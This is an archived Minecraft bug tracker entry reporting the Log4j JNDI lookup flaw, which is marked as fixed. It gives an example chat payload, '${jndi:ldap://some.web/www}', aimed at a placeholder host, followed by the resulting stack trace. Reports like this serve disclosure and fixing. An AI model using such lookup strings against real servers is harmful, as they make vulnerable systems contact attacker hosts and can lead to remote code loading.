Mojira Archive
MC-245078

JNDI exploit in log4j

For further reference see:

By simply writing chat messages that are then logged by log4j in the server console, you can make the remote server connect to websites/freeze the server while having it try to connect somewhere, same for the/other clients. Also reproducible in singleplayer, making the integrated server freeze.

With this invalid example address copy pasted into the client chat, you'd get the following error:

${jndi:ldap://some.web/www}

2021-12-09 16:55:15,949 Server thread WARN Error looking up JNDI resource [ldap://some.web/www]. javax.naming.CommunicationException: some.web:389 [Root exception is java.net.UnknownHostException: some.web]
        at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:253)
        at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137)
        at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1616)
        at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2848)
        at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348)
        at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60)
        at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61)
        at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204)
        at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
        at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
        at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172)
        at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56)
        at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:221)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1110)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:1033)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:912)
        at org.apache.logging.log4j.core.lookup.StrSubstitutor.replace(StrSubstitutor.java:467)
        at org.apache.logging.log4j.core.pattern.MessagePatternConverter.format(MessagePatternConverter.java:132)
        at org.apache.logging.log4j.core.pattern.PatternFormatter.format(PatternFormatter.java:38)
        at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:344)
        at org.apache.logging.log4j.core.layout.PatternLayout$PatternSerializer.toSerializable(PatternLayout.java:334)
        at org.apache.logging.log4j.core.layout.PatternLayout.toSerializable(PatternLayout.java:216)
        at org.apache.logging.log4j.core.layout.PatternLayout.toSerializable(PatternLayout.java:59)
        at com.mojang.util.QueueLogAppender.append(QueueLogAppender.java:39)
        at org.apache.logging.log4j.core.config.AppenderControl.tryCallAppender(AppenderControl.java:156)
        at org.apache.logging.log4j.core.config.AppenderControl.callAppender0(AppenderControl.java:129)
        at org.apache.logging.log4j.core.config.AppenderControl.callAppenderPreventRecursion(AppenderControl.java:120)
        at org.apache.logging.log4j.core.config.AppenderControl.callAppender(AppenderControl.java:84)
        at org.apache.logging.log4j.core.config.LoggerConfig.callAppenders(LoggerConfig.java:540)
        at org.apache.logging.log4j.core.config.LoggerConfig.processLogEvent(LoggerConfig.java:498)
        at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:481)
        at org.apache.logging.log4j.core.config.LoggerConfig.log(LoggerConfig.java:456)
        at org.apache.logging.log4j.core.config.AwaitCompletionReliabilityStrategy.log(AwaitCompletionReliabilityStrategy.java:82)
        at org.apache.logging.log4j.core.Logger.log(Logger.java:161)
        at org.apache.logging.log4j.spi.AbstractLogger.tryLogMessage(AbstractLogger.java:2205)
        at org.apache.logging.log4j.spi.AbstractLogger.logMessageTrackRecursion(AbstractLogger.java:2159)
        at org.apache.logging.log4j.spi.AbstractLogger.logMessageSafely(AbstractLogger.java:2142)
        at org.apache.logging.log4j.spi.AbstractLogger.logMessage(AbstractLogger.java:2017)
        at org.apache.logging.log4j.spi.AbstractLogger.logIfEnabled(AbstractLogger.java:1983)
        at org.apache.logging.log4j.spi.AbstractLogger.info(AbstractLogger.java:1320)
        at net.minecraft.server.MinecraftServer.a(SourceFile:998)
        at dm.a(SourceFile:249)
        at dn.a(SourceFile:282)
        at acj.bf(SourceFile:340)
        at acj.b(SourceFile:325)
        at net.minecraft.server.MinecraftServer.a(SourceFile:823)
        at net.minecraft.server.MinecraftServer.w(SourceFile:684)
        at net.minecraft.server.MinecraftServer.a(SourceFile:270)
        at java.base/java.lang.Thread.run(Thread.java:833)
Caused by: java.net.UnknownHostException: some.web
        at java.base/sun.nio.ch.NioSocketImpl.connect(NioSocketImpl.java:567)
        at java.base/java.net.SocksSocketImpl.connect(SocksSocketImpl.java:327)
        at java.base/java.net.Socket.connect(Socket.java:633)
        at java.base/java.net.Socket.connect(Socket.java:583)
        at java.base/java.net.Socket.<init>(Socket.java:507)
        at java.base/java.net.Socket.<init>(Socket.java:287)
        at java.naming/com.sun.jndi.ldap.Connection.createSocket(Connection.java:346)
        at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:232)
        ... 48 more
 

Fixed

[Mod] Nassim Jahnke

2021-12-09, 04:00 PM

2021-12-15, 05:44 PM

2021-12-10, 03:34 AM

1

4

Confirmed

Crash, Networking

1.18, 1.18.1 Release Candidate 2

1.18.1 Release Candidate 3